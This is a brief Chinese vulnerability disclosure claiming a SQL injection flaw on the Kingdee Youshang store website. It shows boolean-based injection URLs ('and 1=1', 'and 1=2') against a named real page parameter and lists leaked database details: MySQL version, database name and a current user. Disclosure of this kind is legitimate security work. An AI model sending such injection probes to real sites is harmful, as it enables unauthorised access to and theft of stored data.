金蝶友商网存在SQL注入漏洞

简要描述： 金蝶友商网存在SQL注入漏洞 详细说明： 金蝶友商网存在SQL注入漏洞,可以得出相关数据表及记录。 漏洞证明： 输入1=1得出： http://store.youshang.com/show.php?id=81738%20and%201=1 输入1=2得出： http://store.youshang.com/show.php?id=81738%20and%201=2 数据库相关信息： Current User: [email protected] Sql Version: 5.0.77-log Current DB: youshangportal...